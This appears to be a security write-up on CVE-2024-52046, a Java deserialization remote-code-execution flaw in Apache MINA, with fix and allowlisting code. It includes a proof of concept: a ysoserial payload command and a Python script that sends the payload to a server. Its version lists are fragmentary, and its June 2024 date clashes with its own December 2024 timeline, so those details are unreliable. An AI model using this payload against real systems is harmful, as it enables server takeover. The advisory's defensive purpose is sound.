CVE-2024-52046 - Apache MINA Unsafe Java Deserialization Vulnerability (RCE Exploit Details, Code, and Fixes)
In June 2024, Apache published a critical security advisory for Apache MINA, identifying a serious flaw in its object deserialization process. This bug is registered as CVE-2024-52046. It impacts all MINA core versions 2..x, 2.1.x, and 2.2.x, exposing users to Remote Code Execution (RCE) risks.
Here’s a simple, practical explanation: if you're running an affected version of MINA and use its serialization decoder unsafely, attackers can send you evil Java objects in network messages that, once deserialized, take full control of your Java process. If your application meets certain conditions (described below), you are at high risk.
What Is the Vulnerability?
The root cause is the ObjectSerializationDecoder class in Apache MINA. This class uses Java’s native deserialization protocol to convert network data back into Java objects. However, MINA's decoder, in vulnerable versions, doesn’t restrict what types of objects can be deserialized — there are no security checks, "allow lists", or class validation.
This means if you let users send serialized objects, hackers can send cleverly crafted objects ("gadget chains") that, when brought to life, execute code on your server.
MINA core 2.2.x
Fixed in:
You use MINA core and
- Your codebase calls IoBuffer#getObject() (directly or indirectly — like through ProtocolCodecFilter with ObjectSerializationCodecFactory)
If you’re not using ObjectSerializationDecoder, the exploit doesn’t apply.
FtpServer, SSHd, and Vysper sub-projects are not affected.
How Can Attackers Exploit This?
If your MINA-based application accepts serialized data from users (such as a custom network protocol using Java objects), someone can send an object graph holding a known deserialization exploit chain (using classes available on your classpath, or custom classes if dependencies allow).
Once your vulnerable MINA server reads this payload, the Java deserialization process reconstructs the object — which then causes attacker-chosen code to run instantly, with your server’s privileges.
Demonstration: Proof-of-Concept Exploit
Let’s use ysoserial to generate a CommonsCollections gadget payload for a vulnerable MINA server.
Example: Malicious Payload Creation
# Generates a payload that runs "touch /tmp/pwned"
java -jar ysoserial.jar CommonsCollections1 'touch /tmp/pwned' > exploit.ser
Sending to MINA Server (Python Example)
import socket
with open("exploit.ser", "rb") as f:
payload = f.read()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('mina.server.address', 9123)) # Use the port your server listens to
s.send(payload)
s.close()
*(Replace 'mina.server.address' and 9123 with your server’s actual values)*
If your server uses vulnerable ObjectSerializationDecoder, the file /tmp/pwned will be created on the server by the attacker's command.
MINA 2.2.4
2. Updating alone is not enough!
MINA’s patch introduces "class allowlisting" in the ObjectSerializationDecoder, but by default, all classes are now rejected after update — so your app might stop working until you configure it!
a. Accept by custom class name matcher
objectSerializationDecoder.accept(new MyClassNameMatcher());
b. Accept by regex pattern
// Only allow classes in yourpackage.model.*
objectSerializationDecoder.accept(Pattern.compile("^yourpackage\\.model\\..*$"));
c. Accept by wildcard patterns
objectSerializationDecoder.accept("yourpackage.model.*", "java.lang.String");
> *By default, the decoder rejects all classes unless you specify allow rules using these methods.*
Assume you expect only com.example.model.User objects serialized
ObjectSerializationDecoder decoder = new ObjectSerializationDecoder();
decoder.accept("com.example.model.User");
References
- Apache MINA security advisory (official)
- Apache MINA Issue Tracker: CVE-2024-52046
- ysoserial: Java Deserialization Exploits
- About Java deserialization vulnerabilities (OWASP)
Quick Summary for Developers
- Check your dependency versions. If you use vulnerable MINA core and object serialization, act now.
Upgrade. Use the fixed version.
- Whitelist accepted classes using the new decoder API, or remove any unnecessary use of Java object serialization.
Be extra careful with deserialization, as this is a common and dangerous attack vector.
Remember: Never deserialize objects from untrusted sources, even with class allowlisting, unless you absolutely trust the source.
If you need more guidance or sample code, consult the official Apache MINA documentation or reach out on their user mailing list.
Timeline
Published on: 12/25/2024 10:15:05 UTC
Last modified on: 02/11/2025 16:08:28 UTC